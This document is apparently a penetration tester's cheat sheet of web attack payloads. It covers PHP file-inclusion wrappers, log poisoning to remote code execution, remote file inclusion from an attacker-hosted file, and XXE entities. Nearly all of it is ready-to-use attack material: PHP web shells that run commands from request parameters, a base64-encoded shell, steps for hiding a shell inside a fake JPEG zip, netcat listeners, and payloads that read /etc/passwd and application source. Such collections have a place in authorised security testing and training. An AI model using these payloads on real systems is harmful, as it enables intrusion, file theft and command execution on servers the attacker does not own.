01.3 Wrappers & Filters

## ------------------| Basic
?page=data:text/plain,h4rithd
?page=data:text/plain,<?php system($_GET['cmd']); ?>
?page=data:text/plain,<?php echo shell_exec("whoami"); ?>

## ------------------| Base64 and rot13
?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
?page=pHp://FilTer/convert.base64-encode/resource=index.php

## ------------------| zlib 
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
## To read 
# php -a #Starts a php console
# readfile('php://filter/zlib.inflate/resource=test.deflated');

## ------------------| zip://
# echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
# zip payload.zip payload.php;
# mv payload.zip shell.jpg;
# rm payload.php
?page=zip://shell.jpg%23payload.php

## ------------------| data://
?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
?page=data://text/plain,<?php phpinfo(); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
# NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

## ------------------| expect://
?page=expect://id
?page=expect://ls

## ------------------| input://
?page=php://input
# POST DATA: <?php system('id'); ?>

01.4 LFI to RCEs

include=('$file')

Log Poisoning

## ------------------| Basic Payload
<?php phpinfo(); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; ?>

## ------------------| Send for apache
nc <IP> 80
...enter..payload..here!...

## Your session/auth cookies or any type of session information store on
## ------------------| Linux 
/tmp/sess_
/var/tmp/sess_
/var/lib/php/sessions/sess_
/proc/self/environ/ ## <-- use for User-Agent: <?=phpinfo(); ?>
/var/log/auth.log ## <-- use ssh '<?php system($_REQUEST['cmd']); ?>'@IP        
/var/log/vsftpd.log ## <-- use above payload as username with ftp  
var/log/apache2/access.log ## <-- use it from nc(BEST WAY!!) or use it as http://IP/<?php phpinfo(); ?>
 
## ------------------| Windows
\Windows\TEMP\sess_<session_id> 
c:\xampp\apache\logs\access.log&cmd=ipconfig

01.5 Tricks

phpinfo() (file_uploads = on)

02. Remote File Inclusion

allow_url_include

nc -lvnp 80

## ------------------| Create payload file (php/txt)
<?php phpinfo(); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>'; ?>

## ------------------| Execute
### move file to /var/www/html and start apache sever
### execute
=http://<IP>/file.txt

02. XML external entity (XXE) injection

Common payloads

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>
        &xxe;
    </productId>
</stockCheck>

Filters

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php"> ]>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/hosts.php">
